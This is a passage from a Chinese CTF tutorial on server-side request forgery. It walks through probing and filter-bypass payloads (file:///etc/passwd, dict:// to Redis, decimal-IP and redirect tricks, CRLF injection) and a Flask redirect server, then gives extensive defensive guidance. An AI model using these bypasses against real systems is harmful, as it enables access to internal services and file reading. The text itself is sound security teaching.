题目场景假设假设题目给出一个简单的界面只有一个输入框提示“请输入一个URL我将为你获取其内容”。提交后页面会显示目标URL的响应内容。源码可能提示了flag在某个地方。第一步信息收集与漏洞确认提交http://httpbin.org/get查看返回。如果成功返回了你的请求信息包括User-Agent等说明功能正常且可能透露后端使用的编程语言或库从响应头如Server或一些特定字段判断。提交http://127.0.0.1/。如果返回了本机Web服务页面如Apache/Nginx欢迎页确认SSRF存在。提交file:///etc/passwd。如果返回了系统用户列表说明支持file协议题目难度可能降低。如果返回错误或空白可能被过滤。第二步探测过滤规则提交http://localhost/观察是否被拦截。如果被拦说明有黑名单。尝试绕过http://127.1/、http://2130706433/、http://127.0.0.1.xip.io/。尝试使用其他协议dict://127.0.0.1:6379/info。如果返回Redis信息则直接进入内网攻击环节。如果返回“协议不允许”等错误则可能只允许HTTP/HTTPS。第三步根据提示或盲猜目标题目描述或页面源码注释中常常会给出线索。例如提示“flag在内部管理系统中” - 可能要去访问http://admin.internal/或192.168.x.x。提示“我们的key放在一个记忆服务里” - 可能指Memcached或Redis。直接给出一个内网IP和端口如访问 172.18.0.3:8080 以获取下一步信息。第四步构造最终攻击假设我们发现需要访问http://127.0.0.1:8080/flag.php但直接访问被拦截提示“不允许访问本地地址”。我们需要绕过。分析过滤 提示是“不允许访问本地地址”很可能是对127.0.0.1、localhost、0.0.0.0等字符串进行了关键词匹配。尝试绕过URL编码http://127%2e0%2e0%2e1:8080/flag.php(失败可能检查解码后的字符串)十进制IPhttp://2130706433:8080/flag.php(可能成功)利用http://abc127.0.0.1:8080/flag.php(可能失败因为host解析后还是127.0.0.1)利用重定向自己搭建一个服务器设置302跳转到http://127.0.0.1:8080/flag.php然后提交自己服务器的地址。这是非常有效的绕过方式因为过滤器只检查了最初提交的URL而不会跟踪重定向。获取Flag 当绕过成功页面显示flag.php的内容其中包含了flag。更复杂的场景如果题目要求攻击内网Redis但禁用了Gopher协议只允许HTTP。这时就需要利用HTTP协议去攻击Redis。这听起来不可能但有一个技巧利用CRLF注入。 如果后端在构造请求时未正确处理用户输入可能将我们输入的URL直接拼接到HTTP请求头中。我们可以尝试注入\r\n即%0d%0a来提前结束原本的请求行或请求头并开始一个新的请求行从而向同一个TCP连接中的Redis端口发送任意数据。但这需要后端请求实现存在缺陷难度较高在CTF中也是可能的考点。4.2 必备工具与调试技巧Burp Suite 绝对的主力。用Repeater模块反复修改和发送Payload用Intruder模块进行端口扫描或模糊测试过滤规则。Netcat (nc) 在本地或可控服务器上监听端口用于接收SSRF漏洞点发出的请求以确认漏洞确实触发并查看服务器发送的完整请求内容。命令nc -lvnp 9999。简单的HTTP重定向服务 用于绕过对目标地址的过滤。可以用Python快速搭建from flask import Flask, redirect app Flask(__name__) app.route(/) def redir(): return redirect(http://127.0.0.1:8080/flag.php, code302) if __name__ __main__: app.run(host0.0.0.0, port8888)然后提交http://你的服务器IP:8888/。DNSLog平台 用于检测盲SSRF即漏洞存在但响应不直接返回给前端。你可以提交一个类似http://your-subdomain.dnslog.cn的地址如果平台收到DNS解析记录就证明服务器确实对外发起了请求。编码转换工具 在线URL编码/解码工具、进制转换工具用于快速生成各种绕过Payload。5. 从CTF到实战防御SSRF的深层思考通过CTF题目我们站在攻击者角度把SSRF玩了个遍。现在切换回防御者视角如何避免自己的应用出现SSRF漏洞这需要从架构和代码两个层面入手。5.1 代码层防御白名单与统一出口1. 严格实施URL白名单机制这是最有效的方法。如果业务功能明确只需要访问少数几个固定的外部资源那么直接维护一个允许的域名或IP白名单。$allowed_hosts [api.trusted.com, cdn.safe.org]; $parsed_url parse_url($user_input_url); if (!in_array($parsed_url[host], $allowed_hosts)) { die(Access denied.); }注意parse_url()函数在不同环境下解析结果可能有差异需要谨慎使用并测试边缘情况。2. 禁用不必要的URL协议和特殊地址明确只允许http://和https://禁用file://、gopher://、dict://、ftp://等危险协议。在代码或网络层屏蔽对内部网络地址段的请求回环地址127.0.0.0/8,::1内网私有地址10.0.0.0/8,172.16.0.0/12,192.168.0.0/16链路本地地址169.254.0.0/16云服务元数据地址169.254.169.254(AWS),100.100.100.200(阿里云)等。3. 使用安全的网络请求库并正确配置使用成熟的、有良好SSRF防护的库并更新到最新版本。对于cURL设置CURLOPT_PROTOCOLS限制协议设置CURLOPT_IPRESOLVE为CURL_IPRESOLVE_V4可以防止IPv6绕过在某些场景下。永远不要跟随重定向CURLOPT_FOLLOWLOCATION设置为false或者如果必须跟随要对重定向后的URL再次进行严格的验证。5.2 架构层防御隔离与代理1. 网络隔离将可以发起外部网络请求的应用服务器部署在独立的DMZ区域严格限制其向内网发起连接的防火墙规则。遵循最小权限原则只开放必要的出站端口如80, 443。2. 使用正向代理与鉴权所有需要获取外部资源的请求必须通过一个统一的正向代理服务。这个代理服务实施严格的访问控制策略如白名单、协议限制、身份认证。后端业务代码不直接请求外部URL而是向代理服务发送请求由代理代为获取。这样就把SSRF的风险集中到了代理服务这一个点上进行管控。3. 为出站请求设置独立的网络身份使用独立的服务账户、虚拟机或容器来运行需要执行外部请求的任务。这个身份具有严格的网络访问权限即使被攻破影响范围也有限。5.3 运营层防御监控与响应1. 建立异常请求监控监控服务器发起的异常出站连接特别是目标为内部IP段或回环地址的连接。目标端口为非常见端口如6379, 11211, 2375的连接。请求频率异常高的连接可能在进行端口扫描。2. 定期安全审计与模糊测试将SSRF检测纳入代码审计和自动化安全测试SAST/DAST的范畴。对任何涉及外部URL获取的功能点进行重点测试。3. 错误信息处理确保应用程序在遇到SSRF防护拦截或网络请求错误时返回统一的、信息模糊的错误提示如“获取资源失败”而不要将内部错误信息如“连接被拒绝到192.168.1.1:6379”泄露给用户这会给攻击者提供宝贵的信息。说到底防御SSRF的核心思想就八个字不信任、要验证、限范围、勤监控。永远不要相信用户提供的任何URL必须经过严格的验证将网络请求能力限制在最小必要范围并时刻监控异常行为。CTFshow的SSRF入门题是一个绝佳的起点它用最直观的方式展示了漏洞的威力。理解它攻克它然后站在更高的维度去思考如何防御它这才是学习Web安全的正确路径。